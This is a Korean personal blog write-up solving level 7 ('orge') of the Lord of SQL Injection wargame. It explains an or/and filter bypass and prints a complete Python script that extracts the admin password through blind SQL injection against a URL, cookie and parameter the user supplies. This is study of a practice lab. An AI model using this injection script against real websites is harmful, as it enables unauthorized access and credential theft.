Today I Learned …

[Lord of SQL Injection] 7번 orge 풀이 본문

Wargame/Lord of SQL Injection

[Lord of SQL Injection] 7번 orge 풀이

염베리 2021. 12. 7. 23:27

* 개인적인 공부 내용을 기록한 글입니다.


이전 문제

https://choco4study.tistory.com/94?category=1057097 

 

[Lord of SQL Injection] 6번 darkelf 풀이

* 개인적인 공부 내용을 기록한 글입니다. 이전 문제 https://choco4study.tistory.com/93 [Lord of SQL Injection] 5번 wolfman 풀이 * 개인적인 공부 내용을 기록한 글입니다. 사담 오늘도 워게임! 이전 문제 ht..

choco4study.tistory.com


7번 문제 orge 분석 및 풀이

 

 

7번 문제는 다음과 같다.

 

 

천천히 살펴보면, 4번 문제와 6번 문제를 합쳐놓았다는 것을 알 수 있다.

* 4번 Blind SQLi + 6번 or/and 필터링

 

4번 문제를 풀 때 썼던 Blind SQLi 자동화 코드

6번 문제를 풀 때 썼던 or/and 필터링 우회 방법을 적용시켜주면 될 것 같다.

 

자동화 코드의 파라미터 부분을 다음과 같이 수정해준다.

param=f"?{param_name}=' || id=\"admin\" %26%26 length({param_name})={num} %23"

① or → ||

② and → %26%26

 

수정된 Python 자동화 코드의 전문은 다음과 같다.

import requests

def check_length(url, cookie, param_name):
    head = {"PHPSESSID":f"{cookie}"}
    print("대상 문자열의 길이를 확인중입니다..")
    for num in range(0,30):
        param=f"?{param_name}=' || id=\"admin\" %26%26 length({param_name})={num} %23"
        my_url=url+param
        res=requests.get(my_url, cookies=head)
        if("Hello admin" in res.text):
            return num

def blind_sqli(url, cookie, param_name, length):
    head = {"PHPSESSID":f"{cookie}"}
    ans=""
    for len in range(1, length+1):
        print(f"{len}번째 문자에 대해 검색중입니다..")
        for ran in range(32,127):
            param=f"?{param_name}=' || id=\"admin\" %26%26 ascii(substr({param_name},{len},1))={ran} %23"
            my_url=url+param
            res=requests.get(my_url, cookies=head)
            if("Hello admin" in res.text):
                print(f"{len}번째 문자 → {chr(ran)}")
                ans+=chr(ran)
                break
    return ans

if __name__ == "__main__":
    print("💘 Blind 공격을 시작합니다")
    
    url=input("URL을 입력하세요:")
    cookie=input("cookie를 알려주세요:")
    param_name=input("파라미터의 이름을 알려주세요:")
    
    length=check_length(url, cookie, param_name)
    print(f"👏 {param_name}의 길이는 {length}입니다.")
    
    ans=blind_sqli(url, cookie, param_name, length)
    print(f"👏 {param_name}의 정체는 {ans}입니다!")
    
    exit

 

다음은 해당 코드의 실행 결과다.

 

 

Blind 공격 결과, admin의 pw는 7b751aec 임을 알 수 있다.

 

답을 넣어보면,

 

 

7번 문제가 풀린다.

프로필사진
berry
FE Developer, loves React & better DX
Comments